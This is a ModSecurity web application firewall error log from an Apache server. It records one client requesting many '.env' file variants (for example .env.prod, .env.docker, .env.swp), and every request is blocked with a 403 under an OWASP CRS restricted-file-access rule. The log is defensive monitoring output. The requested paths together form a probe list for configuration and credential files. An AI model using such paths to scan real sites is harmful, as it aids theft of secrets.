[Mon Oct 26 22:24:44.255270 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auALbEr8KB7FmjwQ4kVzpwAAAAg"]
[Mon Oct 26 22:24:44.355103 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auALbEr8KB7FmjwQ4kVzqAAAAAg"]
[Mon Oct 26 22:24:44.355335 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auALbEr8KB7FmjwQ4kVzqAAAAAg"]
[Mon Oct 26 22:24:44.355650 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auALbEr8KB7FmjwQ4kVzqAAAAAg"]
[Mon Oct 26 22:24:44.493639 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auALbEr8KB7FmjwQ4kVzqQAAAAg"]
[Mon Oct 26 22:24:44.493928 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auALbEr8KB7FmjwQ4kVzqQAAAAg"]
[Mon Oct 26 22:24:44.494296 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auALbEr8KB7FmjwQ4kVzqQAAAAg"]
[Mon Oct 26 22:24:44.618727 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALbEr8KB7FmjwQ4kVzqgAAAAg"]
[Mon Oct 26 22:24:44.619094 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALbEr8KB7FmjwQ4kVzqgAAAAg"]
[Mon Oct 26 22:24:44.619578 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auALbEr8KB7FmjwQ4kVzqgAAAAg"]
[Mon Oct 26 22:24:44.754595 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALbEr8KB7FmjwQ4kVzqwAAAAg"]
[Mon Oct 26 22:24:44.755038 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALbEr8KB7FmjwQ4kVzqwAAAAg"]
[Mon Oct 26 22:24:44.755410 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALbEr8KB7FmjwQ4kVzqwAAAAg"]
[Mon Oct 26 22:24:44.755475 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALbEr8KB7FmjwQ4kVzqwAAAAg"]
[Mon Oct 26 22:24:44.755489 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auALbEr8KB7FmjwQ4kVzqwAAAAg"]
[Mon Oct 26 22:24:44.935014 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auALbEr8KB7FmjwQ4kVzrAAAAAg"]
[Mon Oct 26 22:24:44.935262 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auALbEr8KB7FmjwQ4kVzrAAAAAg"]
[Mon Oct 26 22:24:44.935611 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auALbEr8KB7FmjwQ4kVzrAAAAAg"]
[Mon Oct 26 22:24:45.038021 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auALbUr8KB7FmjwQ4kVzrQAAAAg"]
[Mon Oct 26 22:24:45.038273 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auALbUr8KB7FmjwQ4kVzrQAAAAg"]
[Mon Oct 26 22:24:45.038592 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auALbUr8KB7FmjwQ4kVzrQAAAAg"]
[Mon Oct 26 22:24:45.136372 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALbUr8KB7FmjwQ4kVzrgAAAAg"]
[Mon Oct 26 22:24:45.136604 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALbUr8KB7FmjwQ4kVzrgAAAAg"]
[Mon Oct 26 22:24:45.136987 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auALbUr8KB7FmjwQ4kVzrgAAAAg"]
[Mon Oct 26 22:24:45.240424 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALbUr8KB7FmjwQ4kVzrwAAAAg"]
[Mon Oct 26 22:24:45.240697 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALbUr8KB7FmjwQ4kVzrwAAAAg"]
[Mon Oct 26 22:24:45.241052 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auALbUr8KB7FmjwQ4kVzrwAAAAg"]
[Mon Oct 26 22:24:45.338377 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALbUr8KB7FmjwQ4kVzsAAAAAg"]
[Mon Oct 26 22:24:45.338627 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALbUr8KB7FmjwQ4kVzsAAAAAg"]
[Mon Oct 26 22:24:45.338973 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auALbUr8KB7FmjwQ4kVzsAAAAAg"]
[Mon Oct 26 22:24:45.458212 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auALbUr8KB7FmjwQ4kVzsQAAAAg"]
[Mon Oct 26 22:24:45.458489 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auALbUr8KB7FmjwQ4kVzsQAAAAg"]
[Mon Oct 26 22:24:45.458784 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auALbUr8KB7FmjwQ4kVzsQAAAAg"]
[Mon Oct 26 22:24:45.603650 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auALbUr8KB7FmjwQ4kVzsgAAAAg"]
[Mon Oct 26 22:24:45.603943 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auALbUr8KB7FmjwQ4kVzsgAAAAg"]
[Mon Oct 26 22:24:45.604278 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auALbUr8KB7FmjwQ4kVzsgAAAAg"]
[Mon Oct 26 22:24:45.730247 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auALbUr8KB7FmjwQ4kVzswAAAAg"]
[Mon Oct 26 22:24:45.730543 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auALbUr8KB7FmjwQ4kVzswAAAAg"]
[Mon Oct 26 22:24:45.730972 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auALbUr8KB7FmjwQ4kVzswAAAAg"]
[Mon Oct 26 22:24:45.890268 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auALbUr8KB7FmjwQ4kVztAAAAAg"]
